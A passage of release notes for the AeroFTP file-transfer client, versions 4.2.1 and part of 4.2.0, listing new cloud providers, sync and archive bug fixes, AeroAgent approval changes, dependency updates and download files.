--update,--conflict-mode source|skip,--modify-window,--checksumagainst server checksums, and safe removal of directories emptied by--delete; every pair left open is reported. AeroCloud waits for a file to be quiet before sending it and reports one that keeps changing instead of marking it synced (#949). - Proton Drive, through the official Proton Drive CLI. Sign in to Proton in the browser and AeroFTP drives the CLI. The form has the MEGA and Filen two-column layout, a mode strip that already names the official API for when Proton opens one, and a live check that says whether the CLI is installed and signed in. The executable never comes from a profile, and trash purges refuse ambiguous names (@Markoise, #573).
- AeroAgent approvals open in a dedicated AeroFTP window instead of the system message box. Only that window can grant an approval, and it holds its own minimal capability. A tool can be allowed for the rest of the chat (unticked by default, never for delete, trash, shell or extraction), so three folders need one approval instead of three, and batch approvals in expert mode no longer ask twice.
- AeroSync names direction and mode with the same words everywhere. The Plan tab and template previews read "Local → Remote · Mirror" instead of
local_to_remote, with headers and translated preset names (@EhudKirsh, #347). - FlatPark, the independent community Flatpak repository, is notified as soon as a release is published, and is listed as a Linux install method; the README's AUR commands are corrected.
- IBM Cloud Object Storage and Mail.ru Cloud, as ready presets. IBM Cloud Object Storage is an S3 preset with HMAC credentials, bucket Fetch and the 22 locations IBM documents (13 regional, 3 cross-region, 6 single data center), listed as a 12-month trial; Mail.ru Cloud is a WebDAV preset on
webdav.cloud.mail.ruwith 8 GB free, which needs an app password because Mail.ru has refused the mailbox password since 2022; both have setup pages on the docs site. An S3 profile whose endpoint is only in its host, as Cyberduck and restic imports and AeroCloud connections have it, now keeps that endpoint instead of the preset's template host and signs with the region the endpoint names, in the app, the CLI and the MCP server, and an importedcustom-s3profile with a self-hosted endpoint keeps path-style addressing. On every provider form the setup steps and the Wrappers/Overlays section start collapsed, and the overlay section opens when editing a profile that has an overlay bound (#923). - Twake Drive, as a native provider. Twake Drive (Linagora Twake Workplace, formerly Cozy Cloud, 5 GB free) works in the app, the CLI, the MCP server and AeroCloud, and signs in against your own instance with no vendor app: AeroFTP registers an OAuth client there, opens the authorization page in the system browser, and deletes that client again if the sign-in fails or is cancelled. Listings are paginated, uploads stream with real progress and are checked against the server's MD5, a delete goes to the trash, and rename, move, server-side copy, quota and MD5 checksums are supported; a transfer of many files runs on 4 workers (260 small files in 46 s instead of 621 s). Trash listing and restore and share links are not there yet, and AeroFTP never revokes an OAuth client on its own: older clients stay under Twake Settings, Connected devices, until removed there (#937).
- Cyber Tools derives Argon2id keys and computes the BLAKE3 keyed and derive-key modes. In Hash Forge, BLAKE3 gains a keyed mode (a 32-byte key in hex, with a Random button) and a derive-key mode (a context string), on text and on files, with the same output as
b3sum --keyedandb3sum --derive-key; Argon2id (RFC 9106) takes the password from the text box and a salt in hex or UTF-8 (a random 16-byte salt is prefilled), with memory up to 2 GiB, iterations, parallelism and output length, and returns the hex tag and a PHC string ($argon2id$v=19$m=...) that theargon2CLI and libsodium accept. Argon2id runs when you press Derive, one derivation at a time, and nothing is stored: the inputs live in the window only. Both are pinned against the official BLAKE3 test vectors and the phc-winner-argon2 reference vector (@EhudKirsh, #347, #929). - Importing a keystore backup shows, per server profile, what would change and lets you choose. A Review changes step lists new, removed and changed profiles; a changed one can take the backup's version, keep this device's, or keep both as a copy with its own credentials. Differences are named field by field, never showing a secret, and a profile that changed after the preview is never decided blind. If applying the choices fails, the server list and its credentials go back to how they were before the import (@EhudKirsh, #736).
- AeroSync Compare warns about files the remote cannot take. With a remote on one side, a red section lists the files a sync toward the remote would send and the remote cannot store, each with its reason: larger than the provider accepts, a name over its limit, or a whole path over its limit, counted with the remote folder included. The files stay in the run: the list says what to rename or split before starting it. The limits come only from each provider's own documentation (the highest plan where the limit depends on the plan, Amazon S3 only on AWS endpoints), and providers with no documented limit or with limits their operator sets (OpenStack Swift, self-hosted GitLab) show nothing (@EhudKirsh, #347, #932).
- AeroRsync is checked against rsync itself in CI. 35 frozen captures of the rsync 3.2.7 wire protocol, together with the instruments that record them, now run on every change, so a regression in AeroFTP's own rsync engine is caught before it ships (#930).
Fixed
- Cloud providers no longer act on an item whose name differs only in case. On Box, Google Drive, kDrive, Drime, Internxt and OneDrive a folder cached under one capitalization could keep a stale id after a rename, move or delete, and some lookups ignored case, so an upload, delete or replace could land on a different, live item (on Google Drive, uploading
a.txtbesideA.txtoverwroteA.txt). Cached ids are now forgotten under every capitalization, destructive steps resolve the exact name, a permanent delete from the trash takes only the item trashed from that folder, and a Drime upload no longer trashes a same-named folder. Also fixed: renaming or moving a folder on Box always failed (#976). - Ctrl-C stops a single-file transfer. Ctrl-C during
aeroftp-cli get,putorpgetraised a flag the single-file path never read, so the transfer ran to its end or hung on a server that stopped answering. It now stops in every phase, closes the connection and exits 130, and--retriesandbatchstop with it. Download temporaries are locked by their writer, so a resume or a second download can no longer publish a half-written file (where locks are unavailable, as on Windows, NFS and SMB, an interrupted part is discarded as before); a plain in-place download starts from zero; and--limit-ratenow holds onpgetandget --segments(#951). - 7z compression with a very large dictionary keeps working. sevenz-rust2 0.23 refuses an LZMA2 dictionary above 1073741823 bytes; a larger request (
compress --dictionary, or the same GUI option) is now clamped to that size instead of failing (#975). - Storage reads can be cancelled, and the Filen WebDAV quota no longer hangs. A used-storage scan against Filen WebDAV waited on a listing the server never answered and blocked Disconnect; storage reads (used-storage scan, quota, folder size) are now cancellable, connect and disconnect cancel them, and an unanswered full-tree listing falls back to a folder-by-folder walk after 30 s. A long transfer no longer turns Properties or the quota into a timeout, and a finished scan survives an ordinary quota refresh. OneDrive mkdir refreshes its parent instead of trusting a cached folder that may be gone, and the Dropbox trash retries throttled requests (@EhudKirsh, #957, #958, #397, #960).
- Archive extraction no longer reports success with empty or truncated files. With a wrong 7z password, about one extraction in 256 succeeded and replaced the file at the destination with 0 bytes; a truncated zip, tar or 7z extracted short files silently. An entry that ends before its declared size is now refused and leaves an existing file untouched. Also: gz, bz2 and xz files made of several members (pbzip2, bgzip) extract every member, a failed RAR entry no longer deletes the file already at its path, the archive browser extracts any file of a solid 7z, a tar entry sized by a PAX record keeps its size, a full or read-only destination is no longer reported as a wrong password, and a compressed-overlay object whose payload disagrees with its header fails instead of downloading the wrong length (#966).
- SFTP transfers no longer hang when the server goes away. An upload in flight when the server restarted or the connection dropped never returned (CLI and GUI), and a download ended as "cancelled by user". Every SFTP request and transfer now ends as soon as the connection is known to be gone, reported as a lost connection that the CLI retries and the GUI reconnects on; a listing or search cut that way is no longer a partial result, and a resume that cannot look at the remote no longer truncates the file (#963).
- CLI batches sign in once per worker, not once per file.
put -r,get -r,put/getwith a glob andsyncon providers without a transfer pool (Internxt, MEGA, Filen, Jottacloud and others) and every--immutableor--no-clobberupload opened a connection per file, which hit login rate limits (Internxt: 429 after 11 files). They now keep one connection per worker. Under--immutablea remote file of another size, most often the partial a cut left, is refused instead of skipped, the batches honour--no-clobber, and an existence check that lost the connection never leads to an overwrite (#956). rmwithout-rnever erases a folder that still holds files. On the backends whose folder delete takes the content along, a non-recursive delete (CLI, TUI, MCPremote_delete, AeroAgent, the GUI) now lists first and refuses a non-empty folder (CLI exit 9, FTP 550, ENOTEMPTY on the mount); a listing that fails removes nothing. The served FTP DELE and SFTP REMOVE delete files only, and the served WebDAV root can no longer be deleted or moved (#964).- Remote edits keep the file mode and refuse symbolic links. CLI
edit, MCP and the GUI AeroAgentremote_editpublish through a temporary and a replace, stay refused by default where the server cannot replace in one step (an explicit opt-in works where the replace sets the old file aside), keep the file mode where the server reports one, and refuse a link, naming the file it points to (#964). - Azure, Swift, Jottacloud, Drime, Zoho WorkDrive and the rclone bridge. Azure removes a folder's directory blob with the folder, only if it is still the one its check saw, and reports hierarchical-namespace folders as folders; a Swift recursive delete goes through every page; Jottacloud and Drime times are in UTC; WorkDrive refuses a second folder of one name; a crypt profile that starts in a subfolder exports to rclone and imports back to the right folder (#964).
- Implicit FTPS transfers work again, and FTP moves to suppaftp 12.1.0. Every transfer over implicit FTPS failed in the data handshake against vsftpd (4.2.0 too): AeroFTP now asks for protected data connections after login. A file the server refuses after the data (
451,452,552) is reported as refused instead of being sent a second time, a range the server cuts short is an error instead of a shorter read, an upload whose local file cannot be read aborts the transfer, and on Windows a download no longer waits on a control connection with nothing to say or runs on a deadline meant for a server that already answered. The FTP library moves from suppaftp 10.0.2 to 12.1.0, whose control replies are capped at 256 KiB (#950). - The Flatpak config import says what it actually did. Accepting the offer to import an existing configuration into the Flatpak install always said the configuration was imported, even after an error or when nothing was copied. It now shows the result: files imported (with the restart button), nothing copied, or the error, and says whether the saved servers and vault came with it or stayed behind because this install already has its own vault. The offer appears only when there is something to copy, and
aeroftp-cli flatpak-importreports the same. A keystore backup import whose app preferences failed to restore now says so (#961). - rclone crypt remotes open with the right key, and AeroFTP no longer guesses how a crypt secret was entered. A crypt remote imported from rclone.conf whose salt rclone generated opened with the wrong key (names read as noise, new files written under a key rclone cannot open). Under the password and the salt there is now a choice, "Typed" or "Pasted from rclone.conf"; a value that could mean two things is refused with a message that says how to answer instead of being used, an empty or empty-revealing password never gives rclone's all-zero key, and a warning appears when no name in the encrypted folder decrypts.
aeroftp-cli import rclone --applynow stores crypt secrets in the vault and binds the overlay;crypt set-form,--password-formand--salt-formrecord the form from the CLI (#955). - Recovering files written with the wrong rclone crypt key. Files uploaded through a crypt remote whose salt rclone generated, imported or typed into an overlay made before this version, are encrypted with your password and rclone's default salt: an rclone crypt remote with the same password and no password2 reads them, copy them out and upload them again. Files written up to 4.2.0 under a typed password that AeroFTP read as a much shorter one:
rclone reveal <the password as typed>prints the password actually used (map+and/to-and_and drop=first) (#955). - The AppImage runs for every user. A launcher file inside the AppImage was executable by root only, so a sandboxed start that keeps the image's ownership (firejail, the AppImageHub test) failed with "Permission denied"; a normal launch was not affected. The build now sets every executable to 755 and data to 644, and fails if that ever regresses (#962).
- Internxt connects again. Every login ended with a 504 after about a minute and a message blaming the credentials: the login fallback that free accounts need went to a legacy Internxt host that no longer answers. It now goes to Internxt's gateway, as the official clients do. A failed login says what failed (wrong credentials, a plan restriction, a rate limit with its wait, a server error), and folders are listed with Internxt's paginated routes so large folders are read to the end (#953).
- The startup log no longer reports a config migration on every launch. Release builds logged "Migrated legacy AeroFTP app config" at each start although the one-time merge of the legacy config folder had run long before; it is now logged only when files were actually copied, with their count (#959).
- A rename or move no longer overwrites what already has the destination name. On pCloud, on MEGA through MEGAcmd and on devices mounted through MTP (all in v4.2.0 too), on most Unix FTP servers and on Azure, S3, B2, Swift, OpenDrive, Cloudinary and ImageKit it replaced the file there, and on Google Drive, FileLu and MEGA it left two files with one name. Every provider now checks the destination first and refuses a taken name (CLI exit 9, also where the server's own refusal used to come back as a generic error), and a rename onto its own path does nothing. (#944)
- A move that reports success has moved the item. Filen across folders, Cloudinary on dynamic-folder accounts, OneDrive after a
cd, MEGA for an item without a key and ImageKit folder moves said Ok and left the item where it was, and B2 and S3 hid a failed delete of the original. A move plus a rename (Drime, Zoho WorkDrive, Internxt, Proton Drive, 4shared, Filen, MEGA, FileLu, ImageKit) never passes through a taken name, and one that fails halfway is undone or says where the item is. (#944) - Replacing a file works or refuses before it writes:
aeroftp-cli edit, the AeroAgent and MCP edit tool, and a WebDAV client saving a document throughaeroftp-cli serve webdav. It overwrites in one step where the service can (Google Drive keeps it as a new revision), sets the old file aside and deletes it last on MEGA, Filen, FileLu, Dropbox, Koofr, Drime and kDrive, never puts a file in place of a folder, and says so when the old copy could not be deleted. Where no one-step replace exists,editrefuses before uploading anything. (#944) - On Google Drive and Zoho WorkDrive
/xmeans the root again after acd, OneDrive moves and copies after acdland where asked, and a folder that was renamed or deleted is no longer reached through its old path on seven providers. (#944) - Cloudinary acts on the asset you name.
rmof an image no longer deletes a video that shares its public id, a path two assets share is refused instead of guessed, a renamed asset no longer answers to its old name, and a replace never overwrites an asset of another type or format. An upload and a private asset that share a public id are told apart when one is deleted. (#944) aeroftp-cli serve webdavhonoursOverwriteon a MOVE, so a client that saves through a temporary file works, with 412, 409 and 403 where RFC 4918 prescribes them, and it decodes a path once;serve ftpandserve sftpno longer percent-decode raw paths (deletinga%41.txtreachedaA.txt);rmand a served DELETE remove a folder only when the path is one. (#944)- Smaller fixes found on the way: OneDrive's
catof a missing file no longer prints Graph's error as the content, WebDAV renames work on rclone-based servers (Depth: infinity), and resumed Azure downloads with a shared key are no longer refused with 403. A Swift rename of a missing source is reported as not found instead of a server error, and the versioned sync backup now works on Filen. (#944) aeroftp-cli export rcloneexports Internxt profiles, and the rclone import says why it skips a remote. An Internxt profile becomes an rcloneinternxtremote (email and obscured password; rclone derives the rest onrclone config reconnect); the import refuses a password rclone itself could not reveal instead of storing garbage, never repeats a secret in a skip reason, keeps crypt passwords, the crypt salt and the Filen API key out of--json, and sanitizes the report against terminal control sequences. Some Internxt plans do not allow rclone access.- rclone import reads plain keys as rclone writes them, and Drime, Cloudinary and ImageKit export to and import from rclone.conf. S3, Azure Blob, Swift and B2 keys (and the new providers' secrets) are imported exactly as written: they used to go through the reveal codec, and a small share (0.4% of B2 application keys, 2.2% of Cloudinary secrets) was stored corrupted, so a profile imported from rclone that fails to sign in should be imported again. Every rclone password field is revealed the way rclone does, a value rclone could not have used is left out and named in the report, and a crypt remote with an unreadable password or salt is not imported. Files written by older AeroFTP versions still import with the right keys. FileLu and Proton Drive stay out of the export, and the CLI and the GUI now say why (#954).
- A failed extraction no longer empties a file you already had. Every extractor wrote the destination before decoding, so a wrong 7z password truncated a same-named file to zero bytes. Entries are now written aside and renamed in only when complete, with permissions kept, and a wrong 7z password is named as such.
- Move to Trash no longer silently becomes something else. On a drive without a usable trash it used to copy the whole item into the home folder, and the Duplicate Finder turned it into a permanent delete: AeroFTP now asks first, and Escape no longer leaves a confirmation pending.
- A keystore export and import restore My Servers as it was. A profile deleted before the export no longer comes back, because the vault's legacy profile list now follows the active partition instead of staying frozen since the partition migration (@EhudKirsh, #736).
- A file larger than the destination accepts (HTTP 413, a plan cap) is its own kind, "File too large": reported once, never retried, and it no longer stops the rest of the batch (@EhudKirsh, #347).
- The AeroSync Sync tab (local to local only) is no longer offered with a remote connected, where Start would have copied into a local folder named after the remote path (@EhudKirsh, #347).
- AeroCompress stores already-compressed formats without a wasted zstd pass (media, archives, AeroFTP containers), and refuses an upload whose source changed length mid-read instead of sending a corrupted object (@EhudKirsh, #407).
- AeroAgent sees every saved server. On a large vault the list went through an 8 KB cap and the model saw only the first fifth. Profiles now fit on one line each, the tool can search by name, and any cut result says it is incomplete.
- AeroAgent opens alone from the status bar and starts on a new chat at launch; earlier conversations stay in the history.
- OpenRouter's "Test connection" checks the key itself (
/key) instead of the public model list, so an invalid key no longer passes the test and fails at the first message; pasted keys are trimmed. - Proton Drive refuses writes in its root, which only lists the account sections, with a clear message, counts only your own storage and says which folders it could not read. kDrive's root refusal reads as a permission error and is no longer retried, and transfers that failed for good stay out of the restored queue.
- Recursive
get, globgetandsyncdownloads honour--multi-thread-streams,--multi-thread-cutoffand the SFTP presets instead of always using the measured default, and print the effective policy. The cutoff floor is per provider again (WebDAV and Koofr no longer get a 1 MiB minimum they never had), and an invalid value is rejected with a clear error instead of silently becoming 250M. - Every copy button uses the native clipboard, with the web API as fallback, and shows "copied" only when the copy happened.
- On Linux the main window reloads by itself when its WebKit web process crashes, instead of staying grey until AeroFTP is restarted from the tray.
- On Linux the main window no longer stays blank at a cold start. The interface is served to the window by a new built-in server instead of tiny_http, which could leave a request unanswered: the start-up check that missed 5 cold starts in 24 now misses none. The server also answers only this app's address, refuses other methods and paths outside the interface, sends each file with nosniff and same-origin headers, and holds one shared copy of every file instead of one per connection.
- The AeroAgent approval window and the extraction window no longer show the main menu bar, also after the menu is rebuilt.
- Linux in-app updates no longer leave a copy of the package (about 70 MB, owned by root) in
/var/tmp, and copies left there by earlier versions are removed on the next .deb or .rpm install. - Zoho WorkDrive uploads files over 250 MB. Every upload went to Zoho's single-request endpoint, which accepts up to 250 MB, so a 287 MB file sent through AeroSync failed with
413 Payload Too Large. Files above 250 MB now go through Zoho's documented stream upload server, up to 50 GB depending on the edition, and a success reply that does not list the file is reported as a failure. The UK data centre, for which Zoho documents no upload server, keeps the single request and its 413 (@EhudKirsh, #347, #933). - Non-ASCII text no longer crashes a log preview or a masked credential. Provider response previews in the logs and the credential masks in the TUI, Koofr and Jottacloud cut text at a fixed byte count, which panics when a multibyte character straddles the cut: a file name in a response could fail the upload or listing being logged, and an e-mail such as
aaé@example.comcrashed the screen showing it. Those previews and masks, the speed-test report's URL column, the Filen response preview and the B2 value redaction now cut on a character boundary (#934). - Downloads keep the remote modification time, and WebDAV dates are read. A file downloaded from the command line (
get,get -r,getwith a glob,pget,sync) got the time of the download, and no WebDAV download kept its date in the app or the CLI, because the RFC 2822 dates WebDAV reports (Thu, 24 Sep 2026 19:41:46 GMT) were not read; the next sync then saw every one of those files as changed. The remote time now reaches the local file on every download path, and the CLI sync and the mount read RFC 2822 too (the sync planned every WebDAV file again on every run, and the mount showed every WebDAV file as modified now). A second bidirectional sync after a download is a no-op, verified on Mail.ru Cloud and Twake Drive (#936). - Native delta sync works against rsync 3.1 servers, and older servers fall back to plain SFTP. AeroFTP's own rsync engine never worked against the rsync 3.1.x that Ubuntu 20.04, Debian 10, RHEL 8 and many NAS ship: each file paid a failed SSH session and then went through the plain transfer without saying so. The session start now follows the peer (algorithm lists only when negotiated), the file list and compression use the encodings rsync 3.1 expects, and the integrity check uses MD5 where the protocol wants it; a transfer is never committed without a resolved checksum. A server below protocol 31 (rsync 3.0.x and older, as on RHEL 7) is refused before any byte is sent and the file goes through plain SFTP (protocols 27 to 29 used to stop the transfer), and the refusal is remembered for 30 minutes so a sync opens one refused session per server. Measured against rsync 3.1.3: delta download 435 times and delta upload 201 times faster than a full transfer (#935).
- AeroSync's versioned backup keeps the old copy, on remote destinations too. The switch ignored its folder field and kept copies only of local files, and on a remote destination nothing was kept: now, before a sync overwrites or deletes a destination file, the old copy is moved with its
.aerocorrectsidecar to<backup folder>/<date and time of the run>/<path>, never overwritten (name.1.extfor a second copy in one run), the Plan says before the run how the server moves files and keeps Execute off where it cannot, and the backup folder and the folders a nested one sits in are never compared, so a later Mirror cannot delete old copies. The Plan gains exclude patterns for every pair, shared with the Local mirror tab and the templates, and shows theaeroftp-cli synccommand for the same run or the reason there is none. Plan and Compare are translated in all 47 locales, the Sync tab is now "Local mirror", a template with several path pairs gets a clear message instead of one that read as a contradiction, speed modes no longer show stream and compression controls that no run used, and an FTP existence check switches to binary mode first, since a vsftpd server read an existing file as absent (@EhudKirsh, #347, #941). - FTP checksums work on servers that implement
HASH. On those servers the Checksum tab in Properties failed for every algorithm: AeroFTP never selected the algorithm withOPTS HASH, and it read the reply with the status code still attached, so even the digest of the algorithm the server had selected was lost. The requested algorithm (MD5, SHA-1, SHA-256, SHA-512 or CRC32, among those the server lists inFEAT) is now selected withOPTS HASHand its digest read past the reply code, and the legacyXMD5,XSHA1andXCRCverbs no longer show the code as part of the digest, accept a250reply (ProFTPD mod_digest, Serv-U) and are each sent for their own algorithm instead ofXMD5for all. A backend's own digest row in the Checksum tab (CRC32, QuickXor, Dropbox, Koofr, Git SHA-1, Adler-32) now has a Calculate button when the backend lists it, and a sync asks an FTP server for SHA-256 only, the one digest its comparison reads (#947). - Upload progress follows the bytes on Zoho WorkDrive, Koofr, kDrive, 4shared and FileLu. The bar stood still for the whole upload and jumped to 100 at the end; it now moves as each chunk goes out, after the bandwidth limit has paced it, and reaches 100 only once the server has acknowledged the file, so a failed upload never shows a completed one. A streamed upload is no longer retried as an empty request, which a server could store and acknowledge as complete after a passing 503; FileLu keeps its retries by sending the whole file again, and the bar never moves back when an attempt is retried. pCloud uploads above 4 MiB still show no progress until they end, as in 4.2.0 (@EhudKirsh, #347, #943).
- FileZilla imports keep
&in site names, users, folders and plain-text passwords. A site stored insitemanager.xmlasR&Dcame in as "R D", a plain-text passwordp&ssas "p ss" (a wrong password, with no warning) and a folderA&Bas "A", a name in CDATA was dropped, and a file written by AeroFTP's own FileZilla export did not import back unchanged. Each value is now read whole and an unknown reference stays as written, as FileZilla reads it, so an AeroFTP export imports back identical (#945). - A keystore import with "Skip existing" keeps the servers added after the backup. Without opening Review changes, an import of a backup that carried the account partition replaced My Servers with the backup's list; it now applies the review's defaults (new profiles added, changed and removed ones left as they are). The preview says when the list will be replaced because the backup's partition cannot be read on this device, a background connection no longer makes your review choices stale, and an rclone export without credentials no longer carries a crypt password, crypt salt or Filen API key left in a profile's options (#980).
- FTPS no longer sends a refused file twice, OneDrive deletes the live file behind a stale id, and trash purges refuse an ambiguous name. A file an FTPS server refuses after the data (552, for example over quota) is sent once and the refusal reported. A redial returns to the working directory, a case-insensitive server that lists with LIST alone refuses a rename onto a taken name of another case, a name taken on RNTO reads as already existing, and a dotfile a bare LIST hides is deleted as a file. On OneDrive a delete behind a stale cached id deletes the live file, and a permanent delete takes only the trashed item of its own folder. Box, kDrive, Internxt, Google Drive and OneDrive read the whole trash and refuse to purge when several trashed items share the name. Twake upload progress rises once across retries, and a Proton share password starting with a dash is passed as one token (#981).
- A Mirror keeps what it did not complete, and removing a folder never takes its content along. A destination folder is removed only once empty: a file whose versioned-backup move failed, or a file the compare excluded such as
.env, keeps its folder, and the result lists each folder kept with the reason. Exported sync scripts (.aeroftp-script,.sh,.ps1) carry the compare's default exclusions and the backup folder, and the Plan offers the matchingaeroftp-cli syncline. Removing a folder without asking for recursion now refuses one that holds anything on every backend (native guards on Box, pCloud, OneDrive and the object stores, a listing check elsewhere);aeroftp-cli rmdirexits 9 on a full folder, FTP and SFTP included, andsync --deleteremoves the directories it emptied on every backend and fails when a removal is refused for another reason (#979). - Archives extract entries with names near the file-system limit again. An entry whose name was longer than about 232 bytes stopped the whole extraction, because the temporary file added 23 bytes to it; the temporary now has a short fixed name and is renamed into place only on success, and a 7z entry that cannot be found is an error rather than an empty file. The Flatpak host-config import brings the three vault files in only together and says how many files it had copied when it stops part way. A download temporary too long for the file system is reported plainly, trash handling cannot overflow on an escaped mount path and deletes permanently only on the explicit choice, each Quick Connect method opens its own docs page, and the IBM COS locations match IBM's documented endpoints (#987).
- AeroAgent approvals fail closed, and Stop reaches the tools still running. "Allow for the rest of the chat" is refused for every high-danger tool and any tool the app does not know, and the approval window is never skipped for delete, trash, shell, extraction, a mutating server command or a sync start. Stop cancels the follow-up request of a multi-step answer and the tools still running for that turn. A tool call with empty arguments is accepted, a remote edit on the legacy FTP session is published by replacement, and the approval window can be dragged on Linux (#982).
- The CLI reports Ctrl-C as interrupted, never drops an immutable transfer silently, and rounds delete caps down. Interrupting
sync, a recursivegetorput, or a glob transfer exits 130 with"status": "interrupted"instead of 0 or the retryable 4.sync --immutablerefuses a destination of another size and counts one of the same size as skipped. A percentage--max-deleterounds down, so a cap under 100% never empties a side.rm --dry-runon a non-empty directory exits 9 like the real run,--auto-approve highstops short of delete and shell, and the agent trims an API key read from the vault or the environment (#993).
Changed
- One exclude rule for every sync, in the app and the CLI. AeroSync (Compare, Plan and local mirror), AeroCloud and
aeroftp-cli sync/sync --watch/sync-doctor/reconcilenow read exclude patterns with the same matcher, which excludes everything either former reading excluded. For the CLI this means: a bare name such asnode_modulesnow excludes the whole directory, not only files with that exact name; matching is case-insensitive; a pattern with a/also matches that run of folders anywhere in the tree (build/outputexcludesa/build/output/x.o) and a leading/anchors it at the sync root; and an invalid pattern is a usage error (exit code 5) instead of being dropped without a word. For the app: globs outside the.extform (~,src,cache/,.{jpg,png}) now match, and an invalid pattern is reported instead of matching nothing..aeroignorekeeps its own rules, including!re-includes. Exclude patterns now match more than before, never less, so review exclude lists that relied on the old, narrower reading: files they did not match before may now stay out of the sync (#939). - Dependency updates:
clap4.6.7 andclap_complete4.6.11 (zsh completion escaping),quick-xml0.42 (the WebDAV, S3, Azure Blob, AWS STS, Jottacloud and FileZilla import parsers migrated; an S3 key containing a carriage return now survives tagging and DeleteObjects requests, #945),rand0.10.3,tauri-plugin-log2.9.2,tauri-plugin-single-instance2.4.5; development only,vitest5.0.1,autoprefixer10.6.1 andcodecov-action7.1.1. Alsohyper-util0.1.21,sevenz-rust20.23.0 (PPMd archives from 7-Zip accepted),thiserror2.0.21,monaco-editor0.57.0,@tauri-apps/plugin-log2.9.2,react-window2.3.3,react-virtuoso4.18.15 andvite8.3.1 (#975).
Contributors
Thanks to the people who shaped this release:
<img src="https://github.com/EhudKirsh.png?size=48" width="48" height="48" alt="@EhudKirsh" />
<img src="https://github.com/Markoise.png?size=48" width="48" height="48" alt="@Markoise" />
Downloads:Windows:
.msi installer, .exe, or .zip portable (no installation required)macOS: .dmg disk imageLinux**: .deb, .rpm, .snap, or .AppImage
- AeroFTP-4.2.1-1.x86_64.rpm - 156.3 MB · 9×
- AeroFTP-4.2.1-1.x86_64.rpm.sigstore.json - 10.1 KB · 3×
- AeroFTP-4.2.1-portable-windows-x64.zip - 94.5 MB · 33×
- AeroFTP-4.2.1-portable-windows-x64.zip.sigstore.json - 9.9 KB · 6×
- AeroFTP_4.2.1_aarch64.dmg - 89 MB · 83×
- AeroFTP_4.2.1_aarch64.dmg.sigstore.json - 10.1 KB · 7×
- AeroFTP_4.2.1_amd64.AppImage - 94.9 MB · 32×
- AeroFTP_4.2.1_amd64.AppImage.sigstore.json - 10.1 KB · 3×
- AeroFTP_4.2.1_amd64.deb - 76.7 MB · 109×
- AeroFTP_4.2.1_amd64.deb.sigstore.json - 10.1 KB · 75×
- aeroftp_4.2.1_amd64.snap - 216.4 MB · 4×
- aeroftp_4.2.1_amd64.snap.sigstore.json - 10.1 KB · 2×
- AeroFTP_4.2.1_x64-setup.exe - 66.7 MB · 225×
- AeroFTP_4.2.1_x64-setup.exe.sigstore.json - 10.1 KB · 14×
- AeroFTP_4.2.1_x64.dmg - 93.2 MB · 66×
- AeroFTP_4.2.1_x64.dmg.sigstore.json - 10 KB · 4×
- AeroFTP_4.2.1_x64_en-US.msi - 95.9 MB · 161×
- AeroFTP_4.2.1_x64_en-US.msi.sigstore.json - 10.1 KB · 21×
v4.2.0 1mo ago · 893 · 18 Assets
[4.2.0] - 2026-09-21
Measured Against rclone, Read Commit by Commit
A cycle of tuning and repair rather than of features, and the longest since the project started: 165 tracked changes over 169 commits in three weeks, most of them fixes and many of them found by measuring rather than by reading. The transfer engine went through a live review battery against rclone on the same links, payloads and servers, and every gap it found (a speed limit most providers ignored, one-way sync re-uploading unchanged trees, a new SSH handshake for every SFTP file, serial scans and serial reads) was closed and measured again, so the DAG engine's performance is confirmed rather than assumed. Filebase joins as a production-ready S3 preset, S3 learns delta uploads, and AeroCrypt reaches its base goal on Linux and, above all, on Windows, where the Rust test suite now runs for the first time and a key-authenticated delta finally transfers only the changed bytes.
Every commit of the cycle was read by several independent reviewers, and the finding they returned most often had one shape: an answer that looked complete while part of the work had not been seen. That is why so many entries below are about scans, deletes and exit codes that now say what they did not cover, and it is also why the last work of the cycle went into the download path: a file assembled from several streams could be handed back built out of two different versions of the same object, with the right length and nothing to signal it, and the defect was reproduced on a live server before it was fixed. Nothing here is claimed that was not measured or pinned by a test, and where something is still open it is written down rather than left out.
Every change listed here is tracked, with its commit and its discussion, in the release tracker: AeroFTP 4.2.0, known issues, patches and updates.
What changes for you
Most of this release is repair, so the clearest way to read it is by what stops going wrong. The list below is the short version for people who use AeroFTP rather than read its code; everything in it appears again further down with the detail and the commit.
In the app
- The comparison panel says how much is really out of sync. AeroSync Compare divided by the rows it lists, and it never lists identical files, so any two folders with a single difference read as 100% out of sync. It now divides by everything the scan examined: two folders that differ by one file out of two read as 50%, by count and by size, on local folders and against every remote and encrypted connection. A path that is a file on one side and a folder on the other is counted as the difference it is, instead of disappearing into the identical total.
- Large downloads are faster, and they check what they hand you. A download above 250 MiB now runs on several connections by default, on numbers measured per protocol: 8 on SFTP, WebDAV and FTP, 4 on S3. That part is new in this release, and so is the check that goes with it: if the file changes on the server while it is being read, the download refuses to publish the result and reads it again on one connection instead of handing you a file built out of two versions.
- A one-way mirror does not delete what it never synced. In receive-only, a local-only file used to be skipped on the first cycle and deleted on the second; in send-only the same happened to a file another person added to a shared folder. Both are fixed, and more broadly a sync that could not read part of a tree no longer deletes, downloads or uploads anything under the part it could not see.
- Interrupted work resumes instead of starting over. The sync journal survives a run that ends with failed files, so Resume is still offered, and resuming transfers the files that had not been reached rather than repeating the ones that had.
- Cancelling a large upload no longer leaves pieces behind on the server, and "Remove application data" in the Windows uninstaller now does what it says.
- A 1 GiB upload peaks at about half the memory it used to, and a speed limit now actually applies to the cloud providers that used to ignore it.
- Trash and restore behave across providers: Dropbox tells folders from files and restore no longer fails, Jottacloud can purge a single file, a whole folder or the entire bin, and the providers that cannot offer a recycle bin say so as their own limit instead of looking like a broken login.
- Immich albums show their photos again, and "All assets" and "Favorites" list everything instead of the first page.
- New connections: Filebase arrives as a ready S3 preset, Cloudflare R2 buckets created in a jurisdiction are reachable, and a Backblaze B2 bucket says on its card whether its default encryption is on, off, or not readable with that key.
- About names the people behind the project, in all 47 languages, and About > Dependencies lists every direct dependency at the version the build actually used.
- Answers that tell a complete result from a partial one.
check,cryptcheck,reconcileandsync-doctorused to give a verdict on a tree they had not fully read. They now report what they covered and exit 4 when the answer is partial, which is the difference between "these trees match" and "the part I could see matches". sync --files-frombounds both sides of the run. It used to filter the local walk and not the remote one, so--direction upload --deletetreated every unlisted remote file as an orphan to delete.- Speed limits reach every provider.
